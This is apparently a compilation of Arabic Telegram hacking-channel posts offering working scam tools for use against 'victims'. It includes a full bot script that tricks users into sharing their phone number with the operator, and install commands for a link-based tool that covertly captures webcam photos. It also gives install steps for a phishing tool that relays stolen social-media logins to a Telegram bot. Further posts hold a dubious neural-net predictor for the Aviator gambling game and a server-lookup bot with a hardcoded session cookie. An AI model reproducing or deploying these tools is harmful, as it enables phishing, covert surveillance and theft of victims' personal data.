ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ STᑌᗪIO

import telebot
from telebot import types

bot = telebot.TeleBot("صع توكن بوتك")
admin_id = ضع id حسابك

@bot.message_handler(commands=['start'])
def register(message):
    keyboard = types.ReplyKeyboardMarkup(one_time_keyboard=True)
    reg_button = types.KeyboardButton(text="انا لست روبوت", request_contact=True)
    keyboard.add(reg_button)
    response = bot.send_message(message.chat.id, "عذرا ❌ لايمكنك استخدام البوت اضغط انا لست روبوت لكي نتحقق من حسابك", reply_markup=keyboard)

@bot.message_handler(content_types=['contact'])
def contact_handler(message):
    F = message.contact.phone_number
    bot.send_message(admin_id, text=f"اهلا عزيزي الادمن تم سحب الرقم +{F}")
    bot.send_message(message.chat.id, text="شكراً لك تم التحقق من حسابك")

if __name__ == '__main__':
    bot.polling(none_stop=True)

ضع توكن بوتك و id حسابك والبوت يشتغل... تدزه للشخص راح يوهمه البوت بتحقق حسابه... عند الضغط راح يترسل الرقم الخاص بحسابه تيليجرام وبس... #منقوله☢️

تم تطوير أداه جديده: «Hack-Camra-Link-DF» مميزات الأداه: تفتح الاداه تولد رابط تلقائي خارج الشبكه متاح لاجميع من خلال Serveo.net بدون اي تدخل منك ثم تأخذ الرابط ترسله للضحيه يتم التقاط صور وأرسلها في ملف الاداه عند انتهاء الجلسه أضغط (كترول سي) واكتب ls راح تلاقي صور تم التقطها مكتوبه بأسم ع سبيل المثال

5h5688070hu50.img

أذا حابب تفتحها وتنزلها ع جهازك لو كنت تستخدم Termux أو هاتفك تكتب هذا الامر

mv اسم الصوره /sdcard/Download/

نفترض قولنا الاسم هنكتب كدا

mv 5h5688070hu50.img /sdcard/Download

ع طول تدخل ع ملفاتك ثم Download هتلقيها ولو كنت kali ع حاسوب نفس الحوار بس نغير الامر الي

mv اسم الصوره ~/Desktop/

تنزيل الاداه:

git clone https://github.com/MohamedAbuAl-Saud/Hack-Camra-Link-DF.git

cd Hack-Camra-Link-DF

apt install php 

bash hackcamra.sh

By|| @A_Y_TR

هذا السكربت لما طورته بمساعده Ai وتنبيه أوامري : قررت اسميه ب...(توقعات عصبيه) هذا الكود تعطيه النسبه الصحيحه عند أنفجار الطائره للجاولات التي مضت ثم يبدأ التدريب والتوقع ويعرض رسم بياني وتوقعات 5 جولات قادمه ملاحظه مهمه : لا تعتمد بشكل كبير ع الكود هو مجرد توقعات عصبيه وعن نفسي لا انصحك بللعب هذه الللعبه... لانها متطوره أنك داخل سيرفر لوحدك... مش معاك حد وكل ال معاك وهمي.... وممكن تتاكد من خلال للعبك + أريدك تدخل بمبالغ قلليله لان اللعبه متطوره تفهم طريقه للعبك وتحاول تخسرك مهما كان يعني لو لعبنا..... مثلا: دائما لمده 3 جوالات عند بدأ الطائره ناخذ ما ربحنا مثلا (1.55) راح تلاقي بعد 3 جولات.... الطائره تنفجر من أول الابتداء (1.1) لأن السيرفر فهم للعبك..... الكود بيحاول يتذاكه بأعصابه لهذا التخمين لجولات قادمه وا أريدك لا تضحي بمالك من أجل رهان متطور لخسارتك وبلتوفيق شباب معا تحياتي: آلقيـــــــــــــــآدهہ‌‏ آلزعيـــم ♥♥

import numpy as np
import matplotlib.pyplot as plt
import tensorflow as tf
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import LSTM, GRU, Dense, Dropout
from sklearn.preprocessing import MinMaxScaler
import xgboost as xgb

# بيانات الجولات السابقة (استبدلها بالبيانات الحقيقية من اللعبة)
previous_rounds = [1.2, 2.5, 1.8, 1.4, 3.0, 1.1, 2.2, 1.7, 1.3, 2.8, 1.6, 2.0, 2.9, 1.9, 3.5, 1.5, 3.8, 2.4, 1.2, 2.1, 2.7, 3.3, 1.4, 2.6, 1.9, 3.7, 1.8, 2.9, 3.4, 2.2]

# تحويل البيانات إلى مصفوفة NumPy
data = np.array(previous_rounds).reshape(-1, 1)

# تطبيع البيانات لجعلها مناسبة للنموذج
scaler = MinMaxScaler(feature_range=(0, 1))
scaled_data = scaler.fit_transform(data)

# **تحضير بيانات التدريب ب.. Sliding Window**
def create_dataset(dataset, time_step=5):
    X, Y = [], []
    for i in range(len(dataset) - time_step - 1):
        X.append(dataset[i:(i + time_step), 0])
        Y.append(dataset[i + time_step, 0])
    return np.array(X), np.array(Y)

time_step = 5  # عدد الجولات السابقة اللي يعتمد عليها التنبؤ
X, y = create_dataset(scaled_data, time_step)
X = X.reshape(X.shape[0], X.shape[1], 1)  # تحويل البيانات لشكل مناسب لـ LSTM و GRU


model = Sequential([
    LSTM(128, return_sequences=True, input_shape=(time_step, 1)),  
    Dropout(0.3),  
    GRU(128, return_sequences=True),  
    Dropout(0.3),
    LSTM(64, return_sequences=False),  
    Dense(32, activation='relu'),
    Dense(16, activation='relu'),
    Dense(1)
])

# تدريب النموذج
model.compile(optimizer='adam', loss='mean_squared_error')
model.fit(X, y, epochs=150, batch_size=4, verbose=2)

# استخدام XGBoost لتحليل الأنماط المخفية
xgb_model = xgb.XGBRegressor(objective='reg:squarederror', n_estimators=100)
xgb_model.fit(X.reshape(X.shape[0], -1), y)

# التنبؤ بالجولات القادمة باستخدام LSTM + GRU + XGBoost
future_input = scaled_data[-time_step:].reshape(1, time_step, 1)
predictions_lstm_gru = []
predictions_xgb = []

for _ in range(5):  # التنبؤ بـ 5 جولات قادمة
    predicted_lstm_gru = model.predict(future_input)
    predictions_lstm_gru.append(predicted_lstm_gru[0, 0])

    predicted_xgb = xgb_model.predict(future_input.reshape(1, -1))
    predictions_xgb.append(predicted_xgb[0])

    # تحديث البيانات بإضافة التوقع الجديد
    future_input = np.append(future_input[:, 1:, :], [[predicted_lstm_gru]], axis=1)

# دمج التوقعات 
final_predictions = np.mean([predictions_lstm_gru, predictions_xgb], axis=0)


final_predictions = scaler.inverse_transform(np.array(final_predictions).reshape(-1, 1))

# عرض النتائج
print("🔮 التوقعات للجولات القادمة:", [round(p[0], 2) for p in final_predictions])

# رسم البيانات
plt.plot(previous_rounds, label="البيانات الفعلية", marker='o', linestyle='-')
plt.plot(range(len(previous_rounds), len(previous_rounds) + 5), final_predictions, label="التوقعات", marker='x', linestyle='dashed', color='red')
plt.xlabel("الجولة")
plt.ylabel("المضاعف المتوقع")
plt.title("تحليل Aviator باستخدام LSTM + GRU + XGBoost")
plt.legend()
plt.show()

BY|| @A_Y_TR

تم تطوير أداه جديده: «Hack-Camra-Link-DF» مميزات الأداه: تفتح الاداه تولد رابط تلقائي خارج الشبكه متاح لاجميع من خلال Serveo.net بدون اي تدخل منك ثم تأخذ الرابط ترسله للضحيه يتم التقاط صور وأرسلها في ملف الاداه عند انتهاء الجلسه أضغط (كترول سي) واكتب ls راح تلاقي صور تم التقطها مكتوبه بأسم ع سبيل المثال

5h5688070hu50.img

أذا حابب تفتحها وتنزلها ع جهازك لو كنت تستخدم Termux أو هاتفك تكتب هذا الامر

mv اسم الصوره /sdcard/Download/

نفترض قولنا الاسم هنكتب كدا

mv 5h5688070hu50.img /sdcard/Download

ع طول تدخل ع ملفاتك ثم Download هتلقيها ولو كنت kali ع حاسوب نفس الحوار بس نغير الامر الي

mv اسم الصوره ~/Desktop/

تنزيل الاداه:

git clone https://github.com/MohamedAbuAl-Saud/Hack-Camra-Link-DF.git

cd Hack-Camra-Link-DF

apt install php 

bash hackcamra.sh

By|| @A_Y_TR

تم تشغيل مستودع اداه phantomLogin-DF🌐 للدخول ع حسبات السوشيال ماديه عبر رابط (للتصيد الأحتيالي) ❌ الاصدار: 3.0 تم تشغلها بشكل مؤقت حته يتم تطورها للافضل ✨ شغل الاداه وضع توكن بوتك ثم أي دي حسابك . ثم أختار رقم الحساب .. ثم اضغط 2 ثم انتضر الرابط الاول وهذا (يشتغل ع جهازك فقط) (لوكول هوست). وأنتضر الرابط التاللي وأرسلو للضحيه واترك الاداه مفتوحه وانتضر دخول الضحيه والمعلومات تجيك عبر بوتك تيليجرام. 😃 لتثبيت الاداه ع Termux:

git clone https://github.com/MohamedAbuAl-Saud/PhantomLogin-DF.git

cd PhantomLogin-DF

pkg install php

pkg install ssh

pkg install jq

chmod +x bash phantomlogin.sh

bash phantomlogin.sh

ع kali linux:

git clone https://github.com/MohamedAbuAl-Saud/PhantomLogin-DF.git

cd PhantomLogin-DF

su 

apt install php

apt install ssh

apt install jq

chmod +x bash phantomlogin.sh

bash phantomlogin.sh

لو وجهتك اي مشكله في التثبيت في اي بيئه اكتب الامر ده وتاكد من سرعه الانتر نت:

chmod +x install.sh
bash install.sh

وأي مشكله راسلني خاص @A_Y_TR

.

⌯ تم رفعه ادمن في القناه ✅

/admin 6125645260

🔍 الآن يمكنك البحث عن أي صور من جوجل ومحركات البحث الأخرى مباشرةً عبر البوت🌟 لا حاجة لفتح المنصات أو المتصفح، فقط اطلب من البوت وسيحضر لك النتائج في ثوانٍ! ⚡ جرب بنفسك واستمتع بالبحث السريع والسهل 🏓 ✨ المميزات : - بحث صور من جوجل ومحركات أخرى مثل Bing أو Yandex - نتائج فورية دون عناء - واجهة بسيطة وسلسة جرب البوت الآن 🚀 @FGOOFO_bot

.

import urllib.parse
import telebot  
import http.client  
import random


bot = telebot.TeleBot("خلي توكن مالك هنا يحلو 🫦")  

def xyz(msg):
    bot.forward_message(msg.chat.id, -1002407250765, 7) # شوف حمبي هذا الايدي الي يبدي ب -100, لازم تغير ل ايدي قناتك مو تنسه يحلو

def qwe(msg):
    txt = msg.text.strip()
    if not txt:
        bot.forward_message(msg.chat.id, -1002407250765, 8)
        return
    
    abc = http.client.HTTPSConnection("add.aternos.org")
    
    hhh = {
        'User-Agent': "Mozilla/5.0 (Linux; Android 11; SM-A307FN Build/RP1A.200720.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6834.163 Mobile Safari/537.36",
        'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        'Accept-Encoding': "gzip, deflate, br, zstd",
        'upgrade-insecure-requests': "1",
        'sec-gpc': "1",
        'dnt': "1",
        'x-requested-with': "mark.via.gp",
        'sec-fetch-site': "none",
        'sec-fetch-mode': "navigate",
        'sec-fetch-user': "?1",
        'sec-fetch-dest': "document",
        'sec-ch-ua': "\"Not A(Brand\";v=\"8\", \"Chromium\";v=\"132\", \"Android WebView\";v=\"132\"",
        'sec-ch-ua-mobile': "?1",
        'sec-ch-ua-platform': "\"Android\"",
        'accept-language': "ar-DZ,ar;q=0.9,en-US;q=0.8,en;q=0.7,ar-AE;q=0.6,en-AU;q=0.5",
        'priority': "u=0, i",
        'Cookie': "_sharedid=8fd4a6fa-62a1-4466-8e47-44468c99f95b; _sharedid_cst=zix7LPQsHA%3D%3D; _ga=GA1.1.1234894111.1733917682; _cc_id=f62ce55e945a64b24c0cf29bc99260b5; _pubcid=1030b4f2-603a-4872-8cec-9256ff99c384; _pubcid_cst=yyzLLLEsNg%3D%3D; usersync=eNqd0E0KgCAQBeC7zNqFk5bmVSIiyoXQHylRSHcvKFo3bof38R4TYbOrd_MEBhksbreDB1NFcD0YzcAfU9f40K7hDihRKK1Lnb33bh6XwQYLhp_sIVmeYBTdCEE3JdINYkFHkssU9P_d-CHJE5okZV59XhA2q1Q.; googtrans=/auto/ar; _ga_K9VG8Y5SYX=GS1.1.1737563204.2.0.1737563207.0.0.0; FCNEC=%5B%5B%22AKsRol-ByMazOTrqIX-INHSawTGAkhoOpCJ8Y2ADXkEt2nXVpvjjpUlCzv4lt9cx30UaeTuq5ux9koN-6RvxEFF8POMK4msS2XgsUcaMwmjnJkBMk6oIbR9IXhFE0DlaC_ZKSAqegSvOBI8zrKv-gTQlHJM8xPsd_A%3D%3D%22%5D%5D; panoramaId_expiry=1738759778713; panoramaId=5ddd7da083c1f8981113a7cf278716d53938cc384e2da1a212dcec325272f798; panoramaIdType=panoIndiv; __gads=ID=ea06f5d038ef3cc1:T=1733917688:RT=1738170434:S=ALNI_Mbgh3U5k3zrOY6XmH7wZ2rtG-PGfw; __gpi=UID=00000fbb714d4850:T=1733917688:RT=1738170434:S=ALNI_MYirxNa0CNsnm_s5ROckgFNnMjN4A; __eoi=ID=5ee7c880ca14a083:T=1733917688:RT=1738170434:S=AA-AfjZrScT77DYCcKyVDz_E307B; cto_bundle=oEtHnl80WUclMkJwY2ZXV0N0d3FTenlnTGtkM1VHb2R2QXA1d1J1dkFyZDBjJTJCTWJIYkhLVWE3QmlIVWRhbUZGQ00lMkZSRHElMkJLdWd3N1YlMkJ0SlFWNzlRMkxXVGd6STA3NjdteWZQc3MwSkdzS2EyNFYwWXoyeThRUUUxQkpKcjhkM0NjSFBycXhNZjlUa3JLdGNDeERrNCUyQmxyN1R0Z0ElM0QlM0Q; cto_bidid=TUssN19lb0JGQWMwJTJGZUw2SXhsWWVaemZqYUx1eTZUODB5ZTdXMFZCTGd6cFZTTE5qcHJNbUczNVNkOGR1WjVtZTUzMm9QeTBjaEQlMkJwMTJmV2dUazdlVVhJbTNJWDhQRGZ3OHY1a0c5OFpRSlptZm8lM0Q; _ga_70M94GH0FD=GS1.1.1738617722.29.1.1738617991.0.0.0"
    }
    
    abc.request("GET", f"/{txt}", headers=hhh)
    rsp = abc.getresponse()
    hdr = rsp.getheaders()
    
    loc = None
    for k, v in hdr:
        if k.lower() == 'location':
            loc = v
            break
    
    if loc:
        srv = loc.split("|")[1]
        enc = urllib.parse.quote(f'/add {srv}')
        bot.send_message(msg.chat.id, f'''√ تم جلب ايبي و بورت سيرفر، روح للبوت @AternosKeepRobot ، واكتب هذا:  

`/add {srv}`

او اضغط هنا ثم اضغط على البوت  
[اضغط لإرسال الأمر تلقائيًا](https://telegram.me/share/url?url={enc})''', parse_mode="Markdown")
    else:
        bot.forward_message(msg.chat.id, -1002407250765, 8)

bot.message_handler(commands=['start'])(xyz)
bot.message_handler(func=lambda m: True)(qwe)

while True:
    try:
        bot.infinity_polling()
    except:
        continue

سورس هذا البوت @AternosNameIpRobot الي محد كدر يسوي مثله 😂😂 رجاءً مو تجي تكلي شلون اشغله، اذا تريد تشغله روح ابحث ب جوجل ما اكدر اشرح